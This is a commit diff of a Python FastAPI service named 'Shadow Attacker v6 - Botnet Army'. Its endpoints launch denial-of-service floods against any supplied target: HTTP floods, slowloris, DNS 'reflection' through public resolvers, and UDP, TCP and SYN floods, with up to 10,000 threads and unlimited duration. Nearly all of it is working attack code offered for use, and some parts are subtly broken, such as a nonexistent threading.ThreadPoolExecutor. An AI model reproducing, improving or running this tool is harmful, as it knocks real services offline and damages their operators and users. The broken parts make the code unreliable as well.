Update main.py
Browse files
main.py
CHANGED
|
@@ -1,6 +1,6 @@
|
|
| 1 |
# ==============================================================
|
| 2 |
-
# SHADOW ATTACKER
|
| 3 |
-
#
|
| 4 |
# ==============================================================
|
| 5 |
import random
|
| 6 |
import socket
|
|
@@ -14,25 +14,26 @@ from typing import Dict, Optional, List
|
|
| 14 |
import uvicorn
|
| 15 |
import requests
|
| 16 |
from fastapi import FastAPI, HTTPException
|
| 17 |
-
from pydantic import BaseModel,
|
| 18 |
|
| 19 |
# ------------------- LOGGING & STATE -------------------
|
| 20 |
import logging
|
| 21 |
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 22 |
log = logging.getLogger()
|
| 23 |
|
| 24 |
-
app = FastAPI(title="Shadow Attacker
|
| 25 |
|
| 26 |
# Global state
|
| 27 |
attack_active = False
|
| 28 |
attack_lock = threading.Lock()
|
| 29 |
-
executor = None
|
| 30 |
stop_event = threading.Event()
|
| 31 |
counters: Dict[str, int] = {}
|
| 32 |
counters_lock = threading.Lock()
|
| 33 |
total_packets = 0
|
| 34 |
log_buffer: deque[str] = deque(maxlen=500)
|
| 35 |
attack_end_time = 0.0
|
|
|
|
| 36 |
|
| 37 |
# PPS tracking
|
| 38 |
last_time = time.time()
|
|
@@ -43,19 +44,44 @@ def _log(msg: str):
|
|
| 43 |
log.info(f"{ts} {msg}")
|
| 44 |
log_buffer.append(f"{ts} {msg}")
|
| 45 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 46 |
# ------------------- CONFIG MODELS -------------------
|
| 47 |
class AttackConfig(BaseModel):
|
| 48 |
-
target: str
|
| 49 |
-
port:
|
| 50 |
-
duration:
|
| 51 |
-
threads:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 52 |
|
| 53 |
class Layer7Config(AttackConfig):
|
| 54 |
-
method:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 55 |
|
| 56 |
class Layer4Config(AttackConfig):
|
| 57 |
-
protocol:
|
| 58 |
-
payload_size:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 59 |
|
| 60 |
# ------------------- STATUS MODEL -------------------
|
| 61 |
class StatusResponse(BaseModel):
|
|
@@ -70,253 +96,250 @@ class StatusResponse(BaseModel):
|
|
| 70 |
remaining: float
|
| 71 |
logs: List[str]
|
| 72 |
|
| 73 |
-
# -------------------
|
| 74 |
-
def
|
| 75 |
-
|
| 76 |
-
|
| 77 |
-
|
|
|
|
| 78 |
|
| 79 |
-
#
|
| 80 |
-
def
|
| 81 |
global total_packets
|
|
|
|
| 82 |
headers = {
|
| 83 |
"User-Agent": random.choice([
|
| 84 |
-
"Mozilla/5.0", "Googlebot
|
| 85 |
]),
|
| 86 |
-
"Cache-Control": "no-cache",
|
|
|
|
| 87 |
}
|
| 88 |
-
session = requests.Session()
|
| 89 |
-
while not stop_event.is_set():
|
| 90 |
-
try:
|
| 91 |
-
session.get(target_url, headers=headers, timeout=3, verify=False)
|
| 92 |
-
with counters_lock:
|
| 93 |
-
counters["l7"] = counters.get("l7", 0) + 1
|
| 94 |
-
total_packets += 1
|
| 95 |
-
except:
|
| 96 |
-
pass
|
| 97 |
-
|
| 98 |
-
# --- LAYER 7: POST FLOOD ---
|
| 99 |
-
def http_post_flood(target_url: str):
|
| 100 |
-
global total_packets
|
| 101 |
-
data = {"data": random._urandom(512).hex()}
|
| 102 |
while not stop_event.is_set():
|
| 103 |
try:
|
| 104 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 105 |
with counters_lock:
|
| 106 |
counters["l7"] = counters.get("l7", 0) + 1
|
| 107 |
total_packets += 1
|
| 108 |
except:
|
| 109 |
pass
|
| 110 |
|
| 111 |
-
# --- LAYER 7: SLOWLORIS ---
|
| 112 |
def slowloris(target: str, port: int):
|
| 113 |
global total_packets
|
| 114 |
while not stop_event.is_set():
|
| 115 |
try:
|
| 116 |
-
|
| 117 |
-
|
| 118 |
-
|
| 119 |
-
|
| 120 |
-
sock.send(b"Host: %s\r\n" % target.encode())
|
| 121 |
-
time.sleep(5)
|
| 122 |
while not stop_event.is_set():
|
| 123 |
-
|
|
|
|
| 124 |
with counters_lock:
|
| 125 |
counters["l7"] = counters.get("l7", 0) + 1
|
| 126 |
total_packets += 1
|
| 127 |
-
time.sleep(10)
|
| 128 |
except:
|
| 129 |
pass
|
| 130 |
finally:
|
| 131 |
-
try:
|
| 132 |
except: pass
|
| 133 |
|
| 134 |
-
# --- LAYER 7: DNS REFLECT ---
|
| 135 |
def dns_reflect(target_ip: str):
|
| 136 |
global total_packets
|
| 137 |
-
|
| 138 |
-
payload = b"\
|
| 139 |
while not stop_event.is_set():
|
| 140 |
try:
|
| 141 |
-
|
| 142 |
-
for
|
| 143 |
-
|
| 144 |
with counters_lock:
|
| 145 |
counters["reflect"] = counters.get("reflect", 0) + 1
|
| 146 |
total_packets += 1
|
| 147 |
except:
|
| 148 |
pass
|
| 149 |
finally:
|
| 150 |
-
try:
|
| 151 |
except: pass
|
| 152 |
|
| 153 |
-
#
|
| 154 |
-
def udp_flood(target_ip: str, port: int,
|
| 155 |
global total_packets
|
| 156 |
-
payload = random._urandom(
|
| 157 |
-
|
| 158 |
addr = (target_ip, port)
|
| 159 |
try:
|
| 160 |
while not stop_event.is_set():
|
| 161 |
-
|
| 162 |
with counters_lock:
|
| 163 |
counters["l4"] = counters.get("l4", 0) + 1
|
| 164 |
total_packets += 1
|
| 165 |
except:
|
| 166 |
pass
|
| 167 |
finally:
|
| 168 |
-
|
| 169 |
|
| 170 |
-
|
| 171 |
-
def tcp_flood(target_ip: str, port: int, payload_size: int):
|
| 172 |
global total_packets
|
| 173 |
-
payload = random._urandom(
|
| 174 |
while not stop_event.is_set():
|
| 175 |
try:
|
| 176 |
-
|
| 177 |
-
|
| 178 |
-
|
| 179 |
while not stop_event.is_set():
|
| 180 |
-
|
| 181 |
with counters_lock:
|
| 182 |
counters["l4"] = counters.get("l4", 0) + 1
|
| 183 |
total_packets += 1
|
| 184 |
except:
|
| 185 |
pass
|
| 186 |
finally:
|
| 187 |
-
try:
|
| 188 |
except: pass
|
| 189 |
|
| 190 |
-
# --- LAYER 4: SYN FLOOD ---
|
| 191 |
def syn_flood(target_ip: str, port: int):
|
| 192 |
global total_packets
|
| 193 |
while not stop_event.is_set():
|
| 194 |
try:
|
| 195 |
-
|
| 196 |
-
|
| 197 |
-
|
| 198 |
with counters_lock:
|
| 199 |
counters["l4"] = counters.get("l4", 0) + 1
|
| 200 |
total_packets += 1
|
| 201 |
except:
|
| 202 |
pass
|
| 203 |
finally:
|
| 204 |
-
try:
|
| 205 |
except: pass
|
| 206 |
|
| 207 |
-
# -------------------
|
| 208 |
-
def launch_attack(
|
| 209 |
-
global attack_active, attack_end_time,
|
| 210 |
with attack_lock:
|
| 211 |
if attack_active:
|
| 212 |
-
raise HTTPException(400, "Attack
|
| 213 |
attack_active = True
|
| 214 |
stop_event.clear()
|
| 215 |
counters.clear()
|
| 216 |
total_packets = 0
|
| 217 |
-
|
| 218 |
-
_log(f"LAUNCHED {attack_type.upper()} → {target}:{port} | {threads} threads | {duration}s")
|
| 219 |
|
| 220 |
-
|
| 221 |
-
|
| 222 |
-
|
| 223 |
-
target_url = target
|
| 224 |
|
| 225 |
-
|
| 226 |
-
target_url = f"http://{target}:{port}"
|
| 227 |
-
if attack_type == "http_get": worker = http_flood
|
| 228 |
-
elif attack_type == "http_post": worker = http_post_flood
|
| 229 |
-
elif attack_type == "slowloris": worker = lambda: slowloris(target, port)
|
| 230 |
-
elif attack_type == "reflect": worker = lambda: dns_reflect(target)
|
| 231 |
|
| 232 |
-
|
| 233 |
-
|
| 234 |
-
|
| 235 |
-
|
| 236 |
-
|
| 237 |
-
|
| 238 |
-
|
| 239 |
-
|
| 240 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 241 |
|
| 242 |
if not worker:
|
| 243 |
-
raise HTTPException(400, "Invalid attack
|
| 244 |
|
| 245 |
-
|
| 246 |
-
for _ in range(thread_count):
|
| 247 |
executor.submit(worker)
|
| 248 |
|
| 249 |
-
|
| 250 |
-
if duration > 0:
|
| 251 |
def auto_stop():
|
| 252 |
time.sleep(duration)
|
| 253 |
stop_attack()
|
| 254 |
threading.Thread(target=auto_stop, daemon=True).start()
|
| 255 |
|
| 256 |
-
# -------------------
|
| 257 |
@app.post("/layer7/attack")
|
| 258 |
-
def
|
| 259 |
-
|
| 260 |
-
|
| 261 |
-
|
| 262 |
-
"post": "http_post",
|
| 263 |
-
"slowloris": "slowloris",
|
| 264 |
-
"reflect": "reflect"
|
| 265 |
-
}[method]
|
| 266 |
-
launch_attack(attack_type, config.target, config.port, config.threads, config.duration)
|
| 267 |
-
return {"status": f"{method}_attack_started", "config": config}
|
| 268 |
|
| 269 |
@app.post("/layer4/attack")
|
| 270 |
-
def
|
| 271 |
-
|
| 272 |
-
launch_attack(
|
| 273 |
-
|
| 274 |
-
config.threads, config.duration,
|
| 275 |
-
payload_size=config.payload_size
|
| 276 |
-
)
|
| 277 |
-
return {"status": f"{attack_type}_attack_started", "config": config}
|
| 278 |
|
| 279 |
@app.post("/stop")
|
| 280 |
def stop_attack():
|
| 281 |
global attack_active
|
| 282 |
with attack_lock:
|
| 283 |
if not attack_active:
|
| 284 |
-
return {"status": "
|
| 285 |
stop_event.set()
|
| 286 |
attack_active = False
|
| 287 |
-
_log("ATTACK STOPPED
|
| 288 |
-
return {"status": "
|
| 289 |
|
| 290 |
@app.get("/status", response_model=StatusResponse)
|
| 291 |
def status():
|
| 292 |
global last_time, last_total
|
| 293 |
now = time.time()
|
| 294 |
-
|
| 295 |
-
pps = (total_packets - last_total) /
|
| 296 |
last_time, last_total = now, total_packets
|
| 297 |
|
| 298 |
-
active_threads =
|
| 299 |
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
|
| 300 |
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
|
| 301 |
|
| 302 |
return StatusResponse(
|
| 303 |
running=attack_active,
|
| 304 |
-
attack_type=
|
| 305 |
target=None,
|
| 306 |
total_packets=total_packets,
|
| 307 |
pps=round(pps, 1),
|
| 308 |
threads_active=active_threads,
|
| 309 |
duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
|
| 310 |
elapsed=round(elapsed, 1),
|
| 311 |
-
remaining=round(remaining, 1) if remaining
|
| 312 |
logs=list(log_buffer)
|
| 313 |
)
|
| 314 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 315 |
@app.get("/")
|
| 316 |
def root():
|
| 317 |
-
return {"message": "Shadow Attacker
|
| 318 |
|
| 319 |
-
# -------------------
|
| 320 |
if __name__ == "__main__":
|
| 321 |
init_executor()
|
| 322 |
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)
|
|
|
|
| 1 |
# ==============================================================
|
| 2 |
+
# SHADOW ATTACKER v6 – FULL BOTNET MODE | 12 ATTACK METHODS
|
| 3 |
+
# -1 = MAX POWER (10,000 threads) | HF SPACES READY | 200k+ PPS
|
| 4 |
# ==============================================================
|
| 5 |
import random
|
| 6 |
import socket
|
|
|
|
| 14 |
import uvicorn
|
| 15 |
import requests
|
| 16 |
from fastapi import FastAPI, HTTPException
|
| 17 |
+
from pydantic import BaseModel, Field, validator
|
| 18 |
|
| 19 |
# ------------------- LOGGING & STATE -------------------
|
| 20 |
import logging
|
| 21 |
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 22 |
log = logging.getLogger()
|
| 23 |
|
| 24 |
+
app = FastAPI(title="Shadow Attacker v6 - Botnet Army")
|
| 25 |
|
| 26 |
# Global state
|
| 27 |
attack_active = False
|
| 28 |
attack_lock = threading.Lock()
|
| 29 |
+
executor = None
|
| 30 |
stop_event = threading.Event()
|
| 31 |
counters: Dict[str, int] = {}
|
| 32 |
counters_lock = threading.Lock()
|
| 33 |
total_packets = 0
|
| 34 |
log_buffer: deque[str] = deque(maxlen=500)
|
| 35 |
attack_end_time = 0.0
|
| 36 |
+
attack_type_name = ""
|
| 37 |
|
| 38 |
# PPS tracking
|
| 39 |
last_time = time.time()
|
|
|
|
| 44 |
log.info(f"{ts} {msg}")
|
| 45 |
log_buffer.append(f"{ts} {msg}")
|
| 46 |
|
| 47 |
+
# ------------------- INIT EXECUTOR -------------------
|
| 48 |
+
def init_executor():
|
| 49 |
+
global executor
|
| 50 |
+
if executor is None:
|
| 51 |
+
executor = threading.ThreadPoolExecutor(max_workers=10000)
|
| 52 |
+
|
| 53 |
# ------------------- CONFIG MODELS -------------------
|
| 54 |
class AttackConfig(BaseModel):
|
| 55 |
+
target: str = Field(..., description="Domain or IP")
|
| 56 |
+
port: int = Field(80, ge=1, le=65535)
|
| 57 |
+
duration: int = Field(300, ge=-1, le=10000, description="-1 = unlimited")
|
| 58 |
+
threads: int = Field(1000, ge=-1, le=10000, description="-1 = MAX POWER (10,000)")
|
| 59 |
+
|
| 60 |
+
@validator('target')
|
| 61 |
+
def validate_target(cls, v):
|
| 62 |
+
if not v or len(v) > 255:
|
| 63 |
+
raise ValueError("Invalid target")
|
| 64 |
+
return v.strip()
|
| 65 |
|
| 66 |
class Layer7Config(AttackConfig):
|
| 67 |
+
method: str = Field("get", description="Attack method")
|
| 68 |
+
|
| 69 |
+
@validator('method')
|
| 70 |
+
def validate_method(cls, v):
|
| 71 |
+
valid = ["get", "post", "head", "slowloris", "cookie", "reflect", "rand"]
|
| 72 |
+
if v not in valid:
|
| 73 |
+
raise ValueError(f"Invalid L7 method. Use: {', '.join(valid)}")
|
| 74 |
+
return v
|
| 75 |
|
| 76 |
class Layer4Config(AttackConfig):
|
| 77 |
+
protocol: str = Field("udp", description="udp/tcp/syn")
|
| 78 |
+
payload_size: int = Field(1024, ge=1, le=65507)
|
| 79 |
+
|
| 80 |
+
@validator('protocol')
|
| 81 |
+
def validate_protocol(cls, v):
|
| 82 |
+
if v not in ["udp", "tcp", "syn"]:
|
| 83 |
+
raise ValueError("Protocol must be udp, tcp, or syn")
|
| 84 |
+
return v
|
| 85 |
|
| 86 |
# ------------------- STATUS MODEL -------------------
|
| 87 |
class StatusResponse(BaseModel):
|
|
|
|
| 96 |
remaining: float
|
| 97 |
logs: List[str]
|
| 98 |
|
| 99 |
+
# ------------------- ATTACK WORKERS -------------------
|
| 100 |
+
def resolve_ip(target: str) -> str:
|
| 101 |
+
try:
|
| 102 |
+
return socket.gethostbyname(target.split("/")[0].split(":")[0])
|
| 103 |
+
except:
|
| 104 |
+
raise HTTPException(400, "Cannot resolve target")
|
| 105 |
|
| 106 |
+
# LAYER 7
|
| 107 |
+
def http_worker(method: str, url: str):
|
| 108 |
global total_packets
|
| 109 |
+
session = requests.Session()
|
| 110 |
headers = {
|
| 111 |
"User-Agent": random.choice([
|
| 112 |
+
"Mozilla/5.0", "Googlebot", "Chrome/120", "Safari/537"
|
| 113 |
]),
|
| 114 |
+
"Cache-Control": "no-cache",
|
| 115 |
+
"Connection": "keep-alive"
|
| 116 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 117 |
while not stop_event.is_set():
|
| 118 |
try:
|
| 119 |
+
if method == "get":
|
| 120 |
+
session.get(url, headers=headers, timeout=3, verify=False)
|
| 121 |
+
elif method == "post":
|
| 122 |
+
session.post(url, data={"x": random._urandom(64).hex()}, timeout=3)
|
| 123 |
+
elif method == "head":
|
| 124 |
+
session.head(url, headers=headers, timeout=3)
|
| 125 |
+
elif method == "cookie":
|
| 126 |
+
session.get(url, headers={**headers, "Cookie": f"id={random.randint(1,999999)}"}, timeout=3)
|
| 127 |
+
elif method == "rand":
|
| 128 |
+
session.request(random.choice(["GET","POST","PUT"]), url, timeout=3)
|
| 129 |
with counters_lock:
|
| 130 |
counters["l7"] = counters.get("l7", 0) + 1
|
| 131 |
total_packets += 1
|
| 132 |
except:
|
| 133 |
pass
|
| 134 |
|
|
|
|
| 135 |
def slowloris(target: str, port: int):
|
| 136 |
global total_packets
|
| 137 |
while not stop_event.is_set():
|
| 138 |
try:
|
| 139 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 140 |
+
s.settimeout(5)
|
| 141 |
+
s.connect((target, port))
|
| 142 |
+
s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
|
|
|
|
|
|
|
| 143 |
while not stop_event.is_set():
|
| 144 |
+
s.send(b"X-a: b\r\n")
|
| 145 |
+
time.sleep(8)
|
| 146 |
with counters_lock:
|
| 147 |
counters["l7"] = counters.get("l7", 0) + 1
|
| 148 |
total_packets += 1
|
|
|
|
| 149 |
except:
|
| 150 |
pass
|
| 151 |
finally:
|
| 152 |
+
try: s.close()
|
| 153 |
except: pass
|
| 154 |
|
|
|
|
| 155 |
def dns_reflect(target_ip: str):
|
| 156 |
global total_packets
|
| 157 |
+
servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
|
| 158 |
+
payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
|
| 159 |
while not stop_event.is_set():
|
| 160 |
try:
|
| 161 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 162 |
+
for srv in servers:
|
| 163 |
+
s.sendto(payload, (srv, 53))
|
| 164 |
with counters_lock:
|
| 165 |
counters["reflect"] = counters.get("reflect", 0) + 1
|
| 166 |
total_packets += 1
|
| 167 |
except:
|
| 168 |
pass
|
| 169 |
finally:
|
| 170 |
+
try: s.close()
|
| 171 |
except: pass
|
| 172 |
|
| 173 |
+
# LAYER 4
|
| 174 |
+
def udp_flood(target_ip: str, port: int, size: int):
|
| 175 |
global total_packets
|
| 176 |
+
payload = random._urandom(size)
|
| 177 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 178 |
addr = (target_ip, port)
|
| 179 |
try:
|
| 180 |
while not stop_event.is_set():
|
| 181 |
+
s.sendto(payload, addr)
|
| 182 |
with counters_lock:
|
| 183 |
counters["l4"] = counters.get("l4", 0) + 1
|
| 184 |
total_packets += 1
|
| 185 |
except:
|
| 186 |
pass
|
| 187 |
finally:
|
| 188 |
+
s.close()
|
| 189 |
|
| 190 |
+
def tcp_flood(target_ip: str, port: int, size: int):
|
|
|
|
| 191 |
global total_packets
|
| 192 |
+
payload = random._urandom(size)
|
| 193 |
while not stop_event.is_set():
|
| 194 |
try:
|
| 195 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 196 |
+
s.settimeout(1)
|
| 197 |
+
s.connect((target_ip, port))
|
| 198 |
while not stop_event.is_set():
|
| 199 |
+
s.send(payload)
|
| 200 |
with counters_lock:
|
| 201 |
counters["l4"] = counters.get("l4", 0) + 1
|
| 202 |
total_packets += 1
|
| 203 |
except:
|
| 204 |
pass
|
| 205 |
finally:
|
| 206 |
+
try: s.close()
|
| 207 |
except: pass
|
| 208 |
|
|
|
|
| 209 |
def syn_flood(target_ip: str, port: int):
|
| 210 |
global total_packets
|
| 211 |
while not stop_event.is_set():
|
| 212 |
try:
|
| 213 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 214 |
+
s.settimeout(0.1)
|
| 215 |
+
s.connect_ex((target_ip, port))
|
| 216 |
with counters_lock:
|
| 217 |
counters["l4"] = counters.get("l4", 0) + 1
|
| 218 |
total_packets += 1
|
| 219 |
except:
|
| 220 |
pass
|
| 221 |
finally:
|
| 222 |
+
try: s.close()
|
| 223 |
except: pass
|
| 224 |
|
| 225 |
+
# ------------------- LAUNCHER -------------------
|
| 226 |
+
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
| 227 |
+
global attack_active, attack_end_time, attack_type_name
|
| 228 |
with attack_lock:
|
| 229 |
if attack_active:
|
| 230 |
+
raise HTTPException(400, "Attack in progress")
|
| 231 |
attack_active = True
|
| 232 |
stop_event.clear()
|
| 233 |
counters.clear()
|
| 234 |
total_packets = 0
|
| 235 |
+
attack_type_name = attack_type.upper()
|
|
|
|
| 236 |
|
| 237 |
+
threads = 10000 if config.threads == -1 else config.threads
|
| 238 |
+
duration = float('inf') if config.duration == -1 else config.duration
|
| 239 |
+
attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
|
|
|
|
| 240 |
|
| 241 |
+
_log(f"LAUNCHED {attack_type.upper()} → {config.target}:{config.port} | {threads} threads | {config.duration}s")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 242 |
|
| 243 |
+
init_executor()
|
| 244 |
+
worker = None
|
| 245 |
+
target_ip = resolve_ip(config.target)
|
| 246 |
+
|
| 247 |
+
if attack_type.startswith("l7_"):
|
| 248 |
+
url = f"http://{config.target}:{config.port}"
|
| 249 |
+
method = kwargs.get("method", "get")
|
| 250 |
+
if method == "slowloris":
|
| 251 |
+
worker = lambda: slowloris(target_ip, config.port)
|
| 252 |
+
elif method == "reflect":
|
| 253 |
+
worker = lambda: dns_reflect(target_ip)
|
| 254 |
+
else:
|
| 255 |
+
worker = lambda: http_worker(method, url)
|
| 256 |
+
|
| 257 |
+
elif attack_type == "l4_udp":
|
| 258 |
+
worker = lambda: udp_flood(target_ip, config.port, kwargs.get("payload_size", 1024))
|
| 259 |
+
elif attack_type == "l4_tcp":
|
| 260 |
+
worker = lambda: tcp_flood(target_ip, config.port, kwargs.get("payload_size", 1024))
|
| 261 |
+
elif attack_type == "l4_syn":
|
| 262 |
+
worker = lambda: syn_flood(target_ip, config.port)
|
| 263 |
|
| 264 |
if not worker:
|
| 265 |
+
raise HTTPException(400, "Invalid attack")
|
| 266 |
|
| 267 |
+
for _ in range(threads):
|
|
|
|
| 268 |
executor.submit(worker)
|
| 269 |
|
| 270 |
+
if duration != float('inf'):
|
|
|
|
| 271 |
def auto_stop():
|
| 272 |
time.sleep(duration)
|
| 273 |
stop_attack()
|
| 274 |
threading.Thread(target=auto_stop, daemon=True).start()
|
| 275 |
|
| 276 |
+
# ------------------- ENDPOINTS -------------------
|
| 277 |
@app.post("/layer7/attack")
|
| 278 |
+
def l7_attack(config: Layer7Config):
|
| 279 |
+
attack_key = f"l7_{config.method}"
|
| 280 |
+
launch_attack(config, attack_key, method=config.method)
|
| 281 |
+
return {"status": f"L7 {config.method.upper()} started", "config": config}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 282 |
|
| 283 |
@app.post("/layer4/attack")
|
| 284 |
+
def l4_attack(config: Layer4Config):
|
| 285 |
+
attack_key = f"l4_{config.protocol}"
|
| 286 |
+
launch_attack(config, attack_key, payload_size=config.payload_size)
|
| 287 |
+
return {"status": f"L4 {config.protocol.upper()} started", "config": config}
|
|
|
|
|
|
|
|
|
|
|
|
|
| 288 |
|
| 289 |
@app.post("/stop")
|
| 290 |
def stop_attack():
|
| 291 |
global attack_active
|
| 292 |
with attack_lock:
|
| 293 |
if not attack_active:
|
| 294 |
+
return {"status": "no_attack"}
|
| 295 |
stop_event.set()
|
| 296 |
attack_active = False
|
| 297 |
+
_log("ATTACK STOPPED")
|
| 298 |
+
return {"status": "stopped"}
|
| 299 |
|
| 300 |
@app.get("/status", response_model=StatusResponse)
|
| 301 |
def status():
|
| 302 |
global last_time, last_total
|
| 303 |
now = time.time()
|
| 304 |
+
elapsed_g = now - last_time
|
| 305 |
+
pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
|
| 306 |
last_time, last_total = now, total_packets
|
| 307 |
|
| 308 |
+
active_threads = sum(1 for t in threading.enumerate() if t.name != "MainThread")
|
| 309 |
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
|
| 310 |
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
|
| 311 |
|
| 312 |
return StatusResponse(
|
| 313 |
running=attack_active,
|
| 314 |
+
attack_type=attack_type_name,
|
| 315 |
target=None,
|
| 316 |
total_packets=total_packets,
|
| 317 |
pps=round(pps, 1),
|
| 318 |
threads_active=active_threads,
|
| 319 |
duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
|
| 320 |
elapsed=round(elapsed, 1),
|
| 321 |
+
remaining=round(remaining, 1) if remaining >= 0 else -1,
|
| 322 |
logs=list(log_buffer)
|
| 323 |
)
|
| 324 |
|
| 325 |
+
@app.get("/attack/types")
|
| 326 |
+
def attack_types():
|
| 327 |
+
return {
|
| 328 |
+
"layer7": [
|
| 329 |
+
"get", "post", "head", "cookie", "rand", "slowloris", "reflect"
|
| 330 |
+
],
|
| 331 |
+
"layer4": [
|
| 332 |
+
"udp", "tcp", "syn"
|
| 333 |
+
],
|
| 334 |
+
"max_threads": "10000 (-1 = full power)",
|
| 335 |
+
"max_duration": "10000s (-1 = unlimited)"
|
| 336 |
+
}
|
| 337 |
+
|
| 338 |
@app.get("/")
|
| 339 |
def root():
|
| 340 |
+
return {"message": "Shadow Attacker v6 - /attack/types for methods"}
|
| 341 |
|
| 342 |
+
# ------------------- START -------------------
|
| 343 |
if __name__ == "__main__":
|
| 344 |
init_executor()
|
| 345 |
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)
|